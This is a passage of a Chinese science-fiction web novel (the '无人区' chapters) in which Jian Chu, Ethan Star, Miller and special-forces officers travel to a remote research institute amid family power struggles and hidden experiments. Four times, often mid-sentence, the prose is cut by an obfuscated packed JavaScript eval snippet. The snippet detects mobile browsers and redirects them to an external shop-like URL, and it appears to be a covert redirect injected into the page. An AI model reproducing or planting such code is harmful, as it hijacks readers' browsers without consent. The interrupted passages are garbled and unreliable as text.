作为“公认”的继承人，伊森享受了很多其他人没有便利，包括他名下的所有产业，经营起来都因为这一层身份顺利不少，米勒尔对现状也乐见其成，也许他最终会选择伊森，但这样的不确定性会使人恐慌，毕竟在各色的案例里，继承人爆冷也不算罕见。 站立的位置决定了看见的东西，但站得高看得远的前提，是眼前没有遮挡。 “发生了一点事，但是我没法和你说的很详细。”伊森揉揉额头，“总之就是，有一件事他一直瞒着我，却……告诉了凯文。” 伊森原以为因思禾找上他是米勒尔的授意，事实却是他是用来掣肘米勒尔的工具之一，不过大概要让人失望了，米勒尔真正在意的人早就知道内情，他现在反倒是处在一个不尴不尬的位置。 “凯文？你是说那个……”简初想起自己在医疗中心看的那一点比赛回放，露出难以言喻的表情，“他可不像是个聪明的家伙。” 简初对他的说法敬谢不敏，她与米勒尔交锋不多，但明显对方不是什么容易被感化的人，老狐狸心眼多得很，不像会被凯文那种小傻子蒙蔽。 “聪不聪明，不是从某一个方面就能判断的，”伊森低声说道，“至少在米勒尔面前，他比我好。” 简初托着腮帮子，总感觉面前这人身上多了几分怨怼，不过她并不知道这几人之间到底发生了什么，很多事是不能以常理来考虑的，也许米勒尔就是喜欢没什么脑子的容易掌控的人，又或许凯文其实是在扮猪吃老虎。 “你跟我说似乎没什么用，我们之间能达成的合作仅限于——”简初伸手在桌上点了点，“而且我没有那么大的能量，能为你帮上什么忙。” “你找错人了。” 不知为什么，伊森反而笑了一声：“我也没有那么大的能量，能够找到一个可以将我抬上高位的人合作，你就当我是在提前拉拢你，也许在未来的某一天，可以帮我一把，多个伙伴总比多个敌人要好。” 简初百无聊赖搅动冰块的手顿住了，她想起了之前来自系统的劝告。 伊森在这方面比她要想得开，但两人面对的事情好像又没什么可比性。 没有发现她的思绪有些游离，伊森继续说下去：“除了之前说好的给我提供项目的内部消息，其他也不需要你做什么，算得上是无本买卖了。” “暂时。”简初耸耸肩，“只是暂时不需要我做什么。” 米勒尔给伊森的那块“继承人”的遮羞布，在不太恰当的时刻被扯下了一半，两人之间应当还维持着表面的平和，但暗地里，这也许是伊森最后的争取机会。 他们不会以一种很和平的方式解决这个问题的，比起米勒尔，伊森堪称势单力薄，但也正是因为如此，她可以从中获取到更多的利益。 富贵险中求，未来的斯塔家族掌权人，如果能在他式微时雪中送炭，将得到千百倍的回报，他甚至可以成为她和温弗拉抗衡的绝妙助力。 尽管伊森看上去有几分病急乱投医的味道，但从对方的角度来看，不论她能有多大的作用，拉到己方阵营来总是没错的。 “那我能得到什么呢？”简初的反问让伊森沉默了，以他现在的身份的确能提供一些好处，但几乎都是在米勒尔的控制范围内，如果他用这些作为拉拢的手段，只会徒增笑料。 “你现在能提供的东西，只能维持我们此前的合作，或许你需要更多的时间？”简初说着，就要起身离开，“劳驾，把你的那个屏蔽仪关一下。” “你不想知道斯塔研究所在做什么吗？”伊森突然的一句话，让简初停下了步伐，“你会想知道的，因为这次模拟大赛的BUG，就是那里带来的。” …… 斯塔集团地下研究所负五十层。 狭窄的实验室里，穿着白大褂的研究员们聚成一团，他们面前高耸入顶的玻璃幕墙背后，是深绿色的混浊水体。跟之前相比，现在的水位只有一半，里头不停传来哗啦啦的水流声，但缸中的水位暂时看不见下降的迹象。 “目前进度过半，同步过滤净化系统已经快超出负荷了，得更换设备组件。”有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13795113|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人看着屏幕里飙红的数据担忧开口。 “再撑一撑，水位马上就到下限了，先把它转移到下一层再考虑别的。”这次开口的人站在其他人背后，明明灭灭的光影照得他面容有些模糊。 地下研究所明面上只有五十层，但再往下就是斯塔集团一直在继续开发的楼层，现在第五十一层正式投入使用。 “可以了，开始转移。” 随着他一声令下，玻璃幕墙后的水位突然开始以肉眼可见的速度下降，看上去像是水草一样的深绿色植物粘附在上面，留下斑驳的印记，脏污的液体顺着玻璃流下来，叫人看不清里面的模样。 “噗通！” 玻璃缸后的传来一声沉闷的巨响，听上去像是有什么重物落进水里，溅起巨大的水花扑在玻璃墙上，将上面原本的藻类植物冲刷干净，所有人终于看清内部——一片空旷，地面上一层厚厚的湿润的绿色藻藓，烂糟糟地被溅起的水花推开一个不规则的圆弧。 下方打开的地板缓缓闭合，有巨大的黑影消失其中，慢慢沉溺下去，一串泡泡在水面炸裂，归于沉寂。 “你们跟我下楼，其余人做好收尾工作，确保楼下的数据备份完整，再把这里所有的资料销毁。”说话的人走进电梯，被光照着露出一张平淡到乏味的脸。 一行人匆匆乘坐电梯赶往楼下，负五十一楼的格局和上一层几乎没有区别，但玻璃幕墙之后是澄澈的蓝色水体，一眼就能看到中央有一大团污浊缓缓漾开，应该是从上一层坠落而下的废水。 巨大的生物团成一团慢慢沉底，看上去处于昏迷状态。 “逐步推入药剂，等它醒过来就按之前一半的量提供食物，保证它足够虚弱，以防又折腾出什么动静来。” 它试图入侵乌托邦的事情必须死死按住，联邦现在正在对未知的入侵源头进行排查，但精神力入侵与普通骇入不同，很难找到痕迹，只有时刻监控它状态的研究员们，才能追寻其精神力的方向，发现它溜进星网的踪迹。 尽管没有它进入乌托邦的实际证据，但越狱时间与虚拟战场崩溃高度重叠，就连恢复正常的时间也与它返回的时间一致，这已经是足够的铁证了。 “样本打包完毕之后联系崔斯特，他会派人来取，其他人做好手头的工作，点到的人跟我走。”他催促道，很快就带着几个人来到了负四十六层。 崔斯特和林愿正等待在机密实验室的门口，林颀眼神毫不留情地从和自己有几分相似的女人身上略过，嘴角轻微扯了扯，露出一丝假笑：“久等了，这是参加这次行动的人。” 他后面的研究员们面露茫然，显然不知道即将迎接他们的是什么事，但无论如何，得到上级的赏识都是一件好事。 崔斯特点点头，这些人都是米勒尔亲自选的，归根结底他们自己并没有选择权，而他要做的就是用尽手段让这些人“自愿”加入编进前往无人区的团队。 金钱在此刻只是一个数字而已，不愿意来就加钱，只要筹码足够，人总会有妥协的时候。 105. 无人区（7） 第二天一早，项目的所有成员被召集开会。 “什么？无人区？”偌大的实验室里，有研究员惊讶出声。 大多数人或是担忧或是惊异，只有胡博士面色平静，看上去应该提前知道了这件事。 “这是我好不容易才向联研所要来的名额，深思熟虑打算将这个任务交给你们。”程源的话明显带动了大家的积极性。 说到底，军校研究所不过是联研所下属的一个分部，如果有机会参与上头的项目肯定是件好事，这样的经历写在履历里，对以后的职称评比很有帮助。 “下午我们就要准备出发前往无人区的研究所分部，你们可以跟家人说一下要出差，但是绝不能提及任何具体的情况。”程源严肃说道，“莫景和简初也一并前往，另外我丑话说在前面，任何不服从统一管理导致带来严重损失的，后果自负。” 一招欲扬先抑，程源满意地看见大家脸上都浮现出一丝紧张，才缓和了语气：“此行会有特战中心的人员陪同，只要大家跟紧大部队，服从统一管理，安全是有保障的。” 简初发现听见“特战中心”几个字的时候，研究员们的表情顿时放松下来，甚至有人露出了微笑。 这几个字竟然有这么大的魔力？ “大家把项目数据和一些必要的物料准备好，很快就要出发了，所有的吃穿用度都是统一准备，不用大家操心，具体的任务等到了无人区再听从联研所安排，再强调一次，好好表现，不要丢了军校的面子。” 一番安排之后，程源便让众人一个个排队，到实验室门口的柜子领取自己的终端，研究员们在他的监视下给家里打过通讯，便乖乖上交终端，又回到了自己的岗位上。 简初皱着眉头摸了摸手链上的信物，没有终端的掩饰，她久违地感受到一丝不安，想来想去，只在和秦理几人的群聊里说了这件事，便将终端关机放下。 程源嘴上虽然说的“深思熟虑”，但很明显并不只是单纯带人去长见识，无人区的计划一定与项目组的研究有关，但她和莫景不过是实验的“小白鼠”，正常情况下并没有一同前往的必要。 除非他们需要在无人区研究所进行实验，又或者是他不能让她们两离开自己的控制范围。 不论哪一个，对简初来说都不是好消息。 “东西都收拾好了吧，大家跟我去乘坐星舰，不要掉队。” 胡博士拍了拍手吸引了所有人的注意，周围已经看不见程源的身影，想必已经先行离开了。 …… 这艘星舰比简初开学时乘坐的那艘要小一些，但内部的设施先进不少，想来速度也要快很多…… “学姐，我们该走了。” 简初转过头，就看见莫景凑在自己耳边，见她好像还没反应过来，对方又小声解释：“该下星舰了。” 这么快？ 简初愣了愣，脚下已经先动了起来，应该是看出她刚刚没有听程源讲话，莫景小声说道：“我们要先到联研所和其他人汇合，再一起前往无人区，所以现在应该是要换乘。” 走下星舰，远远就能看见联研所气派的门头。这里是联邦研究所内部的设备平台，所有的来访星舰都是在这里降落。等所有人都离开，星舰又慢悠悠升起，独自飞向天际。 在不远处停着一艘体型更大的舰船，从外观看上去应该是主星舰船，因为不需要在太空中穿梭，所以形制更像一架飞机，而简初登上舰船，才发现它的内部空间比外表看上去要宽敞很多，其中显然是运用了空间折叠技术。 不愧是联研所，连交通工具都这么财大气粗。 简初这样想着，和莫景一前一后跟着大部队找到属于自己的位置，舰船里已经坐了不少人，但并没有什么熟面孔，前头明显隔出了一个空间，她刚刚看见程源第一个上了舰船，就进了那扇门，再也没出来，想必是领队负责人的专属空间。 舰船的舷窗全部被薄薄的幕布遮住，从外头投进来的光影可以大概猜到舰船已经升空，但坐在内部确实没有任何感觉，简初收回目光，突然感受到有人戳了戳自己的手臂。 “吃酸砂糖吗？”莫景摊开手掌，掌心是一颗绿色包装的方形糖果，不管是从外形还是名字，都让人忍不住分泌口水。 简初伸手取过，这让莫景一直有些郁郁的表情微微好看了几分，不过她没有立刻吃，而是把糖揣进了口袋。 “不喜欢吃吗？”莫景问。 “没有，我喜欢在饭后吃。”简初说，她注意到她说完这句话后，莫景的眼睛微微睁大了几分，紧接着抿唇露出这两天第一个发自内心的微笑。 “这样，我下次也试试。” …… “时间差不多了，我们不用去迎接一下吗？”林豹双站在玻璃走廊里，看着杨树所长带着人站在一圈，准备迎接即将到来的正式团队。 他们所在的位置是隔壁的子楼，足够看清登机坪里面的情景，但里头的人却不能发现他们。 “不用，只有因思禾和傅遥……”黎取突然顿住，他看了傅燃一眼，对方正面无表情地垂着眼皮，没有什么反应，“只有她们俩知道我们的身份，所以到时候不需要额外做什么介绍，直接加入特战中心的小队就行了。” “来了。”沉默着站在一旁的安栩突然开口，几人闻言抬头看去，远处的天际出现一个渺小的黑点，但瞬间黑点飞快变大，直到所有人都能看清上面的图案和字样。 舰船到了。 它顺着研究所顶部的空洞慢慢下落，直至安稳落地，舱门打开，最先走出的是几个衣冠楚楚的中年人，最前方的自然是因思禾。 “看到这次的主要保护目标了。”他们来这里最重要的一个任务，就是保护因思禾的人身安全。 “重点名单都对上了，一个不落。”安栩仔细对照手头的人员名单，他们只需要在关注因思禾的同时，匀一点注意力给其余的负责人就够了，剩下的研究人员们会有其他人照看。 “米勒尔这是带着他的两个孙子度假来了？”林豹双皱眉贴近玻璃，看到凯文居然还顶着一副墨镜到处乱晃，颇有些无语地撇撇嘴，“怎么想的，这么危险的事竟然还带着继承人来，不怕被一窝端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13804759|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吗？” 斯塔集团提供的所有数据他们都已经看过，无人区本来就不是什么平和之地，更何况此行的目的并不单纯，除了那群研究员们，其他人都要深入无人区腹地进行探索。 甚至连米勒尔都要亲自参与，不知道无人区里究竟有什么吸引着他，但显然斯塔集团并没有将全部数据提供给联研所，不过以因思禾的脑子，应该已经看出来，甚至有应对的方法了。 傅燃看着人群不断从舰船里走出来，除了研究员们，人数最多的就是斯塔集团的安保队伍，还有……等等！ 一个无比熟悉的人影从舰船里冒出头来，清晰地映在傅燃的眼底，她正一脸好奇地打量着周围，身后还跟着个有过一面之缘的人。 简初怎么会在这里？！ “怎么了？”黎取发现傅燃突然皱起眉头，下意识顺着对方的视线看过去，却没有发现什么异常，“嘶，这群研究员心态还真不错。” 傅燃眨眨眼，掩去了眼底的情绪：“没什么，你们先回房间，等我跟傅遥联系好再通知你们。” 此时，场内同样震惊的远不止他一人。 简初昂着脑袋四处搜寻，都没找到刚刚感受到的注视是从何而来，她现在对无人区研究所还不了解，也不能贸然使用精神力扫描，要是被人发现就不好了。 不过她这么一看，倒是和不远处一个人的视线撞了个正着，迎着那人震颤的瞳孔，简初微微扬了扬眉毛，面上不动声色地挪开了视线。 斯塔一家子都在啊…… 想来之前让伊森讳莫如深的就是这件事了，但既然米勒尔敢亲自出马，他们肯定做好了完全的准备，这种身份的人，大多是非常在意自己的人身安全的。 难道这次的任务并没有想象中那么危险？ 简初也不敢贸然猜测，她得先低调一点，想办法弄到更多的信息再说。 想到这里，她的眼神再次从伊森有些僵硬的背影上掠过。 另一边，因思禾已经跟杨树所长简单寒暄完，两人都不是什么讲究形式的人，众人很快就拿到用于研究所内部交流的终端设备以及自己的房间钥匙，不出意料，简初跟莫景被安排在了同一个房间。 “给各位的实验室已经安排好了，随时都可以投入使用。”杨树说。 因思禾颔首致谢：“多谢，其他的我们回头开个小会，做一下具体的安排吧，这次行动时间也比较紧，还是希望能够尽快启动。” 简初一边和莫景闲聊两句，一边仔细汲取周围的所有信息，因思禾作为整个行动的领头人，说的话当然是最重要的。 “多年不见，您的行动力还是这么强。”杨树感叹道，见因思禾有些怔愣，开口给对方递了个台阶，“您不记得也正常，早些年我有幸去联研所学习，偶然碰过一面。” “抱歉，我的记忆指标全被工作用完了。”因思禾扯了扯嘴角，开了个玩笑算是揭过这件事，“那我们稍后再见。” 众人在杨树的引领下离开了登机坪，远处的子楼里，只有傅燃独自一人站在玻璃走廊内，目送这群火柴人消失不见。 106. 无人区（8） “先生，已经按照您的吩咐，把东西交给伊森少爷了。” 崔斯特一进门，就看见米勒尔正坐在套间会客厅的沙发上。屋子里灯也没开，只有来自研究所走廊的射灯斜照进来，把屋子里映得有些惨淡。 “嗯，是我小看了因思禾，没想到她竟然也会用这种损招。”米勒尔淡淡讽笑了一声，“她既然敢让伊森跟着过来，绝对不会让他好好待在研究所了，你跟林愿说一声，让她重点保护伊森，至于凯文……就辛苦你了。” 崔斯特点头算是应下，但依然搞不明白米勒尔的想法，本来他要带凯文一起进无人区就已经很出人意料，现在不信任他的因思禾又把伊森绑上了这条船。 从之前的安排看来，他似乎不在意伊森，但现在又将原本打算交给凯文的东西给了伊森，甚至把林愿也调了过去，怎么看都是伊森在他心里占据了更重要的位置。 不过从崔斯特的角度看来，他更希望以后接手集团的是伊森，这样他也许愿意在这儿干到退休。 米勒尔不在意他的安保队长正在思考什么，只是低头看了眼终端，拍拍衣角站起身来：“我该去开会了，剩下的事情你安排好。” “是。”崔斯特跟着米勒尔离开房间，目送他离开，直到对方的身影消失在拐角，才有一个人轻巧地走到他的身后。 年轻女人的脸庞比起当时在发布会时又瘦削了一点，整个人脸色透着点病殃殃的苍白，她穿着的长袖盖住了半截手掌，但露出的指骨有些嶙峋，看上去像是病入膏肓。 “有什么新任务吗？”林愿说。 崔斯特转过身，拧眉看着她：“他还没给你提供血清？很快就要出发了，这样怎么能行。” “只是表面看起来不是很好，异能不会受到影响。”林愿干巴巴地开口。 “唉，待会我去找他要，另外你的保护对象从凯文换成了伊森，具体的工作还和之前一样。”崔斯特说。 “知道了。”林愿点头，“那我回房间了，有事喊我就行。” 看着她离去的背影，崔斯特感觉自己的头又开始疼了。 …… 米勒尔推开会议室大门的时候里面已经坐了不少人，他意料之中地在里面看见了伊森，年轻人正坐在桌子的最末位，垂着眼皮看地板，看上去好像在神游天外。 “人都到齐了，博士。”李瑞千低声朝因思禾说道，后者这才一副刚反应过来的模样，从手上一叠资料里抬起头。 因思禾将手上的材料翻过来放在一边，这些是无人区研究所近年的研究资料，不适合展示给其他人看。 在座的人不算多，除了本次参加计划的三名研究所负责人，就只有米勒尔，伊森和傅遥，不过…… 伊森忍不住打量了一眼坐在傅遥身侧的年轻人，总觉得这人看上去有几分眼熟，可惜在场没有人介绍他的身份，不过从着装看来，应该是特战中心的人，而且至少是个小队长，否则没有资格坐在这里。 “我让人做了一张简单的计划表，各位可以看看。”因思禾说道，“我们此行的最终目的是深入无人区腹地，所以准备工作肯定是要做充分的，前期先在无人区的边缘地区进行摸索，研究所这边在里面建立了不少站点，会作为补给点使用，不过条件肯定比较差，还请大家体谅。” “地图请务必提前下载，这次希望能继续推进，更新扩展一下现有的地图，当然，有米勒尔先生给我们提供的数据资料，想必工作会顺利很多。” 随着她的话音落下，在场人的目光都在米勒尔身上落了一瞬。 “米勒尔先生这么大的身家，竟然有这么大的勇气跟我们一起进无人区，真是令人惊叹。”有人不阴不阳地说了一句。 “探索是无止境的，另外，我很信任特战中心的能力。”米勒尔扯了个冠冕堂皇的旗子，堵住了别人的嘴，大家都知道他自己就带了不少安保，不过看在这对所有人都有好处的份上，并没有什么人提出异议。 “米勒尔先生，请向您的安保队转告一下，一切需要服从傅遥队长的安排，不要擅自行动。”因思禾微笑开口。 不论米勒尔内心怎么想，至少明面上是答应了，在没有遇到真正能威胁到他生命的东西之前，崔斯特当然会“服从”特战中心的指挥。 “瑞千，把明天的计划跟大家说一下。” 因思禾身旁的女性点点头，打开了会议桌中央的全息投影，瞬间，整个会议室的灯光变得十分黯淡，只有悬在众人头顶的全息地图闪闪发光。 李瑞千伸手一挥，地图上就出现无人区研究所的3D模型图，一串脚印从研究所的大门出发，来到了无人区境内的第一个站点，启明星。 “启明星是距离边界线最近的观测点，研究所每半个月会安排一批人马过去值岗，明天就是他们换班的日子，我们将同他们一起出发。”李瑞千说着，上方的全息投影很快变成启明星的3D模型。 “启明星将作为我们前期工作的根据点，所以需要携带足够的物资过去，这部分杨树所长会帮我们安排好，刚刚因博士也说了，站点内的生活条件远远比不上这里，就更不用提和主星比了，因此所有的吃穿用度都将统一调度，请各位做好心理准备。” “抵达启明星之后进行休整，再选择最合适的时机安排人手继续前进，这是根据各位负责人提交的名单，整理的出行名册，麻烦各位组织好人员，保证下午六点准时出发，我们需要在晚上九点之前进入启明星观测点。” 晚上九点，放在其他地方只是一个普通的时间点，但在无人区却有着更加重要的意义。 “晚上九点之后，无人区内部的辐射会逐渐蔓延到启明星，在座的各位负责人都不是异能者，承受不了射线伤害，当然了，不想活的请随意。”大概是跟着因思禾的时间久了，李瑞千讲话也是这个调调。 “情况就是这样，博士？” 因思禾看起来有些疲惫，脸上的表情也维持不住，她伸手随意挥了挥：“另外，留在研究所的研究员们的名单我已经交给杨树所长了，他们的日常起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13813831|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 居也是有保障的，定期也会安排人从启明星将实验材料送回来，因为站点的实验室条件肯定不如这边，所以我在选人的时候有参考他们的个人能力，他们的补贴也会相应要高一点。” “大概就是这样，没事就散了吧，到点集合就行。” 大家坐在原地互相看了两眼，傅遥和她身后的年轻人抢先起身走了出去，其他人也终于站起身，陆续离开了会议室，米勒尔没有要和伊森交流的意思，让伊森觉得之前崔斯特来找他似乎只是一场幻觉。 不过现在他需要去找另一个人，出行的名单刚刚只是匆匆瞥了几眼，他本就是带着目的去看的，自然很快找到了目标。 简初会出现在这里已经很让他震惊了，现在居然要把她带去启明星，她能出现在这个名单里，只能说明是程源要带她去，并且还得到了因思禾的同意。 除了她，还有莫景。 这两个人的身份比其他所有人都要特殊，伊森很清楚她们俩作为“项目成员”的意义，也因此对此行的目的产生了深重的怀疑，现在时间紧迫，他需要赶紧跟简初交换信息。 伊森脚步匆匆赶到简初所在的楼层，一拐弯却见到刚刚跟在傅遥身后的年轻人。 对方正站在走廊里，面朝另一边的玻璃幕墙，没有要离开的模样，伊森左右转了转眼珠，没有看到傅遥的身影，脚步便下意识慢了下来。 正在这时，对方突然转身看向他，发现是团队里的人之后就放松了身形。 “咳，你好。”伊森只能向对方打了个招呼，“我来找人。” 说完他自己都觉得有一些此地无银三百两，但回头想想，一个团队内有些熟人很正常，何况对方也并没有因此有什么额外的反应。 “不用在意我，只是常规巡视。”年轻人冷淡地回了一句，这下伊森只能硬着头皮继续往前走，但很快身后就响起轻微的脚步声，是往另一个方向去的。 伊森在房门前站定，顺势转过头，只捕捉到那人走过拐角的背影。 他走了。 不知为什么，伊森下意识松了口气，正想敲门，但手还没有触及门板，面前的房门就被人打开了。 莫景上下打量了他一眼：“学姐你说的没错，有人站在门口，看样子是来找你的。” 伊森看见简初探出脑袋，伸手打了个招呼，看上去有些没心没肺，他只能犹豫开口：“虽然很冒昧，但是方便我进去聊一会吗？” 研究所的走廊里监控遍布，而由于联邦隐私法的存在，房间内是绝对不会存在监控的，这对于他们来说是一个交流的好地方，不过…… “我出去走走，正好看一下这会食堂还有没有东西吃。”莫景回头看了简初一眼，乖觉地离开了房间。 她关上房门，在原地驻足了片刻，才转过身想要离开，回头却看见走廊的尽头有一个人影正在往这边走来，这年轻人有些面熟，但她应该没见过对方，看衣着大概是特战中心的人。 两人都没有跟对方说话，就这么擦肩而过了。 107. 无人区（9） 联邦第一军校。 秦理揉着咕咕叫的肚子，从全息中心往外走，从早上她就一直泡在乌托邦，连午饭都没吃，虽然一直躺在全息座舱里，但还是消耗了不少力气。 她低头翻看着信息，就看到简初之前在群里发的消息，而头像下面显示账号已经离线了。 什么事这么神秘？ 下一秒，尚未来得及退出的群聊里突然蹦出了一条新消息，看头像是……嗯？傅燃诈尸了？ 不对，怎么还显示离线？ 秦理顶着满头问号，看着傅燃顶着下面明晃晃的两个“离线”大字，在群里发送了消息。 难不成是诈骗？ [左虞珩：诈骗？] 不愧是好伙伴，跟她想到一块去了，秦理暗自点头，这才想起来看看这骗子发了些什么。 [傅燃：你们这两天过得怎么样？] [傅燃：本人。] 这句语音，是傅燃没错了。 秦理也不知道他是怎么在离线状态下发送消息的，毕竟现在的系统都限制了伪装离线的功能，但更让人迷茫的是这个近乎于废话的问题。 不过既然他能发消息，应该也看到上面简初的留言了。 [秦理：你们两个无情地抛弃了我们，还好意思来问！] [傅燃：。] 对面回了个意义不明的句号，就再也没了动静，不论秦理和左虞珩怎么在群里发疯都得不到一点回应。 …… 傅燃沉默着从终端上拔下一个微型信号接收器。 他本来想问问秦理，知不知道简初和伊森之间发生了什么。两人的关系一直以来都比较尴尬，当从刚刚的情况看来，两人的关系发生了巨大的变化，可他又不能直接问两人之间发生了什么。 简初很聪明，只要她看到消息，或者从秦理口中听到什么，扩散一下思维也许就能猜到他的身份，更不用提他这次的面部没有做特别夸张的掩饰，要是往这个方向细想，难保不会掉马。 傅燃很想再次回到那层楼看一下，但研究所的监控无处不在，如果频繁经过，也许会引起什么不必要的麻烦。 斯塔家族不是什么良善之辈，就算伊森现在还没有接手家族核心产业，那也不是什么可以随意来往的人物。 如果是其他人也就算了，简初好歹也算是朋友，退一万步说她的专业能力对他很有用，不管出于什么目的，他都不能无动于衷看着对方一无所知被人欺骗。 低头看了眼时间，傅燃有些坐立难安，没过两秒他就重新起身，离开了自己的房间。 他只是有东西不小心落在外头，需要沿着原路仔仔细细地搜索一遍。 …… “没想到这么快就又见面了。”简初看上去很是平和，并没有被迫来到无人区的愤懑或是别的情绪。 伊森万万没想到简初也会参加这个行动，但是他在对方身边看到了莫景，很容易就想到是谁要求她们来的。 “你们是为了项目来的？这个项目和无人区有什么关系？”伊森眉头皱得死紧。 项目对外是研究精神力增长的辅助药剂，在领域内算是明星项目，他也是无意间才发现其中可能存在一些违反联邦实验条例的东西，现在一切和无人区扯上关系，只会让一切变得更加棘手。 众所周知，所有涉及无人区的研究项目都是高危绝密，和这个精神力研究项目对外宣称的等级几乎是云泥之别。 “你别急啊，连那些研究员都不明白自己究竟在做什么，你指望我两天，还是在没有参加过任何一次实验的情况下，把一切摸得透透的吗？”简初老神在在，看上去并不忧虑，哪怕之后要亲自参与实验的并不是伊森，而是她自己。 伊森·斯塔活了这么大，第一次有种狗拿耗子多管闲事的感觉，但他很快就把这种“错觉”抛之脑后，用非常快的语速把他现在知道的所有有关本次探索计划的信息全部告诉了简初。 虽然在刚下舰船看见前头米勒尔一行人时，简初就对现状做了一个粗浅的估测，但伊森提供的信息可信度和精细度都要高不少，算是帮上大忙了，而对于伊森来说，简初能一直安稳地活着给他提供信息，也是一件颇为重要的事。 因为莫景经历过几次实验，所以程源对她的监视和管束要更加严格，伊森无法在不引起旁人注意的情况下和莫景进行正常的交流。 “之后如果还有什么情况，我会尽量找机会告诉你的，但是项目那边我肯定帮不上忙，只能靠你自己想办法，但要是之后在无人区内部遇到危险……米勒尔安排了人保护我，你到时候离我近一些。”伊森皱眉说道。 这下换简初倍感意外了，她神奇地看了伊森一眼，对他仿佛被夺舍一样的转变感到好奇。 伊森哪里看不明白她在想什么，咬牙切齿道：“别用这种眼神看我，对于合作的同伴，我肯定会倾力相助的，这是我做事的准则。” 简初突然想起咋咋呼呼的李维西，看来伊森能一直忍耐他的脱线也是有理由的，当然，也算他有本事。 “知道了，等到了启明星，我会找机会挖一挖项目的事情的。”简初点头送客。 她自己也很清楚，她和莫景既不是研究员，也不是战斗人员，对无人区更是没有什么深入的研究，两人的名字在名单也算是另一种意义上的引人注目。 “该说的我都说了，有需要我帮忙的地方就告诉我，毕竟这事也有我一份。”伊森说着拉开门，刚踏出门槛余光就瞥见门边团着一朵蘑菇。 莫景面无表情地抬起头，脚边还放着从食堂薅来的饭菜，看分量得有两三个人那么多，她见到人并没有很大的反应，只是拍拍衣角，拎着袋子站起来，仿佛门不是被伊森打开，而是被风吹开的。 简初见两人在门口似乎有些僵持，便抬脚往前走了两步，下一秒，就听见旁边的应急楼梯突然传来急促的脚步声，三人不约而同转头看去，视线中冒出一个穿着特战中心制服的身影，见到他们三人，对方也情不自禁停下了脚步。 简初摸了摸下巴，四个人，可以凑桌麻将了，不过……这个人看上去怎么有些眼熟？ 来人见到他们凑在一个房间门口，眉头立刻皱了起来：“你们围在这里做什么，有什么事情吗？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13828906|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >简初眯了眯眼，这声音也有点耳熟啊。 “朋友一起聊聊天而已，没有什么事，长官。”简初眼神好似不经意地将来人从头到脚打量了个遍，才慢悠悠地开口，但不知道为什么，她说完这句话，就看见这人的表情好像变得忧虑起来。 什么情况？ 对方看了眼莫景手里的袋子，点了点头：“吃完早点休息，没什么事不要到处乱逛，你不是这层的，还不快走？” 最后那句话明显是冲伊森去的，这年轻人就像个钉子一样扎在原地，直到目送伊森离开视线范围，才转头看向简初。 “交朋友也多长点心，快回去。” 简初：……？ 听见这话，莫景却一副见到知音的模样，眼神陡然变得有神，重重点了点脑袋，好像领到什么光荣的任务一样，扳过简初的肩膀，就把人推回了房间里。 走廊重新恢复一片安静。 傅燃站在原地，又抬头看向走廊内部的客梯，确认不会有人这会突然再冒出来，才慢悠悠踩着楼梯离开了。 …… 两人美美吃完了食堂的饭菜。 研究所的客房隔音效果还算可以，不过还是能听到外面有人开关房门的声音，听上去除了她们俩，其他人都离开了房间。 很明显，整个团队分工和级别都十分明确，像她们俩这种底层的小白鼠，应该只能知道最少的事情，但简初显然不是那种明知外头有情况，却缩在屋里不敢探查的人。 虽然刚刚那个特战中心的年轻人让他们不要乱跑，但其实并没有的明确规定限制她们的活动范围，此时不动更待何时。 “你要去哪里，我可以一起吗？”莫景坐在床边，看着简初穿上外套，一副要出门的架势。 “就是无聊，想出去走走，你想的话就一起吧。”简初倒也没打算在研究所整出什么动静来，何况身边多一个人，也许还能起到掩饰的效果。 得到应允，莫景变得开朗了一些，非常迅速地跟上了简初。 研究所里全部的实验室都需要生物识别才能打开，所以她们在走廊上闲逛也不会看到什么，不过一路上竟然没有遇到其他人，只有旁边有实验室的门上亮着红灯，表示有人正在使用。 从外头看上去，实验室的门都一模一样，也没有什么铭牌标识，走上十几分钟，很容易让人有一种鬼打墙的错觉。 “没有走错，很快就到我们的实验室了。”莫景说。 